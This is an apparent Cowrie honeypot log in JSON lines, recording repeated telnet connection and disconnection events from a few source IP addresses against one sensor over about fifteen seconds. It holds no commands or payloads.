{"eventid":"cowrie.session.closed","duration":32.08643460273743,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:55.501068Z","src_ip":"23.111.140.22","session":"25fdde498357","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40894,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fab0d0dea4e","protocol":"telnet","message":"New connection: 23.111.140.22:40894 (10.17.0.5:23) [session: 4fab0d0dea4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:55.620266Z"}
{"eventid":"cowrie.session.closed","duration":30.894190073013306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:55.758892Z","src_ip":"23.111.140.22","session":"8cb4c510c063","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:55.938345Z","src_ip":"130.12.180.51","session":"5fe5726541a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45294,"dst_ip":"10.17.0.5","dst_port":23,"session":"92739ea7c156","protocol":"telnet","message":"New connection: 23.111.140.22:45294 (10.17.0.5:23) [session: 92739ea7c156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:56.050789Z"}
{"eventid":"cowrie.session.closed","duration":30.933531761169434,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:56.074544Z","src_ip":"23.111.140.22","session":"88f323ad03b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19061779975891,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:56.340935Z","src_ip":"23.111.140.22","session":"acb0bab6f904","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40020,"dst_ip":"10.17.0.5","dst_port":23,"session":"c55b47ce648e","protocol":"telnet","message":"New connection: 23.111.140.22:40020 (10.17.0.5:23) [session: c55b47ce648e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:56.386677Z"}
{"eventid":"cowrie.session.closed","duration":0.0059702396392822266,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:56.392492Z","src_ip":"23.111.140.22","session":"c55b47ce648e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46398,"dst_ip":"10.17.0.5","dst_port":23,"session":"78dde37b907d","protocol":"telnet","message":"New connection: 23.111.140.22:46398 (10.17.0.5:23) [session: 78dde37b907d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:56.449425Z"}
{"eventid":"cowrie.session.closed","duration":49.478450536727905,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:56.457443Z","src_ip":"23.111.140.22","session":"46b668e1f02e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.312323331832886,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:56.578044Z","src_ip":"23.111.140.22","session":"ffa7a85280f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.72748684883118,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:56.823789Z","src_ip":"23.111.140.22","session":"eefd439c37c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.675940990447998,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:57.251258Z","src_ip":"23.111.140.22","session":"7da3163b6e00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16071581840515,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:57.377246Z","src_ip":"23.111.140.22","session":"514b95da5801","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60558,"dst_ip":"10.17.0.5","dst_port":23,"session":"11ec93f10a4b","protocol":"telnet","message":"New connection: 23.111.140.22:60558 (10.17.0.5:23) [session: 11ec93f10a4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:57.473819Z"}
{"eventid":"cowrie.session.closed","duration":45.194547176361084,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:57.540583Z","src_ip":"174.138.46.234","session":"9c79571e4a35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71001935005188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:57.581284Z","src_ip":"23.111.140.22","session":"1060a2005734","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.51246356964111,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:57.670588Z","src_ip":"23.111.140.22","session":"4b38de0938d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.44435429573059,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:57.678155Z","src_ip":"23.111.140.22","session":"1e1ee4025970","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47736,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5d6cb35c9bc","protocol":"telnet","message":"New connection: 23.111.140.22:47736 (10.17.0.5:23) [session: f5d6cb35c9bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:57.892141Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47938,"dst_ip":"10.17.0.5","dst_port":23,"session":"4dbf6430b0e5","protocol":"telnet","message":"New connection: 23.111.140.22:47938 (10.17.0.5:23) [session: 4dbf6430b0e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:57.930034Z"}
{"eventid":"cowrie.session.closed","duration":31.547106504440308,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:58.008802Z","src_ip":"23.111.140.22","session":"571b8e196065","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.442183256149292,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:58.016358Z","src_ip":"23.111.140.22","session":"057a612af836","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.36410903930664,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:58.082459Z","src_ip":"23.111.140.22","session":"3ff768c05547","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8244047164917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:58.214358Z","src_ip":"23.111.140.22","session":"7301ead97b8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.941123247146606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:58.220711Z","src_ip":"23.111.140.22","session":"49deda59138d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51936,"dst_ip":"10.17.0.5","dst_port":23,"session":"f60b8d83338a","protocol":"telnet","message":"New connection: 23.111.140.22:51936 (10.17.0.5:23) [session: f60b8d83338a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:58.248432Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51956,"dst_ip":"10.17.0.5","dst_port":23,"session":"2393a1600bbf","protocol":"telnet","message":"New connection: 23.111.140.22:51956 (10.17.0.5:23) [session: 2393a1600bbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:58.253555Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52982,"dst_ip":"10.17.0.5","dst_port":23,"session":"b21fa0fc6efd","protocol":"telnet","message":"New connection: 23.111.140.22:52982 (10.17.0.5:23) [session: b21fa0fc6efd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:58.599272Z"}
{"eventid":"cowrie.session.closed","duration":31.15192461013794,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:58.674943Z","src_ip":"23.111.140.22","session":"c3d59fa2f056","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.941040515899658,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:58.721724Z","src_ip":"23.111.140.22","session":"58f0c0e5f43a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41740,"dst_ip":"10.17.0.5","dst_port":23,"session":"415ef8b06cc7","protocol":"telnet","message":"New connection: 23.111.140.22:41740 (10.17.0.5:23) [session: 415ef8b06cc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:58.756183Z"}
{"eventid":"cowrie.session.closed","duration":0.04238247871398926,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:58.798416Z","src_ip":"23.111.140.22","session":"415ef8b06cc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45624,"dst_ip":"10.17.0.5","dst_port":23,"session":"59f252cd2753","protocol":"telnet","message":"New connection: 23.111.140.22:45624 (10.17.0.5:23) [session: 59f252cd2753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:58.818853Z"}
{"eventid":"cowrie.session.closed","duration":0.005934476852416992,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:58.824652Z","src_ip":"23.111.140.22","session":"59f252cd2753","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.15902090072632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:59.084072Z","src_ip":"23.111.140.22","session":"9deb9c31a018","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.51009941101074,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:59.140250Z","src_ip":"23.111.140.22","session":"75f7a48b4c3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.14018797874451,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:59.940580Z","src_ip":"23.111.140.22","session":"a838cc69ad07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58120,"dst_ip":"10.17.0.5","dst_port":23,"session":"f91eca23e7f4","protocol":"telnet","message":"New connection: 23.111.140.22:58120 (10.17.0.5:23) [session: f91eca23e7f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:00.238779Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":44752,"dst_ip":"159.203.135.109","dst_port":23,"session":"7eea562d9f40","protocol":"telnet","message":"New connection: 174.138.46.234:44752 (159.203.135.109:23) [session: 7eea562d9f40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:00.333287Z"}
{"eventid":"cowrie.session.closed","duration":32.80586862564087,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:00.760066Z","src_ip":"23.111.140.22","session":"0cf2df62f4b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":44908,"dst_ip":"159.203.135.109","dst_port":23,"session":"792ca2291944","protocol":"telnet","message":"New connection: 174.138.46.234:44908 (159.203.135.109:23) [session: 792ca2291944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:00.815379Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60206,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc31c002fe92","protocol":"telnet","message":"New connection: 23.111.140.22:60206 (10.17.0.5:23) [session: fc31c002fe92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:00.878804Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":44700,"dst_ip":"159.203.135.109","dst_port":23,"session":"6da8234f4af3","protocol":"telnet","message":"New connection: 174.138.46.234:44700 (159.203.135.109:23) [session: 6da8234f4af3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:01.092330Z"}
{"eventid":"cowrie.session.closed","duration":33.47971248626709,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:01.097787Z","src_ip":"23.111.140.22","session":"a963f87129d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.11643958091736,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:01.104580Z","src_ip":"23.111.140.22","session":"40e21694a317","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.186119079589844,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:01.596241Z","src_ip":"23.111.140.22","session":"01e506df289f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.166348457336426,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:01.609064Z","src_ip":"23.111.140.22","session":"55fb4093c1fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.480161666870117,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:02.252574Z","src_ip":"23.111.140.22","session":"0a3032a75842","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36280,"dst_ip":"10.17.0.5","dst_port":23,"session":"27ceba73e1c4","protocol":"telnet","message":"New connection: 23.111.140.22:36280 (10.17.0.5:23) [session: 27ceba73e1c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:02.264352Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":45480,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bf81a9d87da","protocol":"telnet","message":"New connection: 174.138.46.234:45480 (159.203.135.109:23) [session: 4bf81a9d87da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:02.817844Z"}
{"eventid":"cowrie.session.closed","duration":30.500603199005127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:03.121926Z","src_ip":"23.111.140.22","session":"b805e15c03d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.73686671257019,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:03.709852Z","src_ip":"23.111.140.22","session":"993949a83f47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.11417627334595,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:03.844515Z","src_ip":"23.111.140.22","session":"a6677e1edc67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19154119491577,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:03.961726Z","src_ip":"23.111.140.22","session":"7b7d5b99032c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.114977836608887,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:04.126226Z","src_ip":"23.111.140.22","session":"02fc5281df38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.93282675743103,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:04.476525Z","src_ip":"23.111.140.22","session":"2b98c42d3700","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43596,"dst_ip":"10.17.0.5","dst_port":23,"session":"a887906e8bba","protocol":"telnet","message":"New connection: 23.111.140.22:43596 (10.17.0.5:23) [session: a887906e8bba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:04.753072Z"}
{"eventid":"cowrie.session.closed","duration":32.61145091056824,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:04.963001Z","src_ip":"23.111.140.22","session":"64891a02b24d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44428,"dst_ip":"10.17.0.5","dst_port":23,"session":"a653c728dc4a","protocol":"telnet","message":"New connection: 23.111.140.22:44428 (10.17.0.5:23) [session: a653c728dc4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:05.025474Z"}
{"eventid":"cowrie.session.closed","duration":31.342945098876953,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:05.681699Z","src_ip":"23.111.140.22","session":"4ad022f3a493","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.928234100341797,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:06.020308Z","src_ip":"174.138.46.234","session":"6da8234f4af3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.672648429870605,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:06.306910Z","src_ip":"23.111.140.22","session":"40c29b993722","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.35106921195984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:06.653895Z","src_ip":"23.111.140.22","session":"27c359a3e90d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.845747470855713,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:07.212388Z","src_ip":"23.111.140.22","session":"91e379a74a0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.274935007095337,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:07.445886Z","src_ip":"23.111.140.22","session":"bab6fe3d248a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.231116771698,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:07.500091Z","src_ip":"23.111.140.22","session":"3baf1afb30fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.947492599487305,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:07.594405Z","src_ip":"23.111.140.22","session":"72dfc03b9da4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.36994981765747,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:07.648349Z","src_ip":"23.111.140.22","session":"9a1afc1739e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.294041395187378,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:07.747090Z","src_ip":"23.111.140.22","session":"ba19f3634351","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52266,"dst_ip":"10.17.0.5","dst_port":23,"session":"e11aeb941c00","protocol":"telnet","message":"New connection: 23.111.140.22:52266 (10.17.0.5:23) [session: e11aeb941c00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:07.761842Z"}
{"eventid":"cowrie.session.closed","duration":7.755798816680908,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:08.088936Z","src_ip":"174.138.46.234","session":"7eea562d9f40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44654,"dst_ip":"10.17.0.5","dst_port":23,"session":"19e5618b287b","protocol":"telnet","message":"New connection: 23.111.140.22:44654 (10.17.0.5:23) [session: 19e5618b287b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:08.126620Z"}
{"eventid":"cowrie.session.closed","duration":31.884085178375244,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:08.266269Z","src_ip":"23.111.140.22","session":"ea950661b89d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.28846311569214,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:08.777934Z","src_ip":"23.111.140.22","session":"5564634aef5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56764,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e7a7a83cba6","protocol":"telnet","message":"New connection: 23.111.140.22:56764 (10.17.0.5:23) [session: 0e7a7a83cba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:09.257252Z"}
{"eventid":"cowrie.session.closed","duration":32.11616373062134,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:09.336653Z","src_ip":"23.111.140.22","session":"fe0f40dab7d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54526,"dst_ip":"10.17.0.5","dst_port":23,"session":"49656b02afea","protocol":"telnet","message":"New connection: 23.111.140.22:54526 (10.17.0.5:23) [session: 49656b02afea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:09.497265Z"}
{"eventid":"cowrie.session.closed","duration":32.08719778060913,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:09.507649Z","src_ip":"23.111.140.22","session":"de15a90170e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.066152572631836,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:09.900554Z","src_ip":"23.111.140.22","session":"2101c1e4eb6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.084314107894897,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:10.248858Z","src_ip":"23.111.140.22","session":"872599423573","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.872567415237427,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:10.690293Z","src_ip":"174.138.46.234","session":"4bf81a9d87da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.321200370788574,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:10.716192Z","src_ip":"23.111.140.22","session":"7fe4836186dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.995197772979736,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:10.845293Z","src_ip":"23.111.140.22","session":"96586633a495","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58545,"dst_ip":"10.17.0.5","dst_port":23,"session":"acc06ae1dc69","protocol":"telnet","message":"New connection: 23.111.140.22:58545 (10.17.0.5:23) [session: acc06ae1dc69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:18:10.882790Z"}
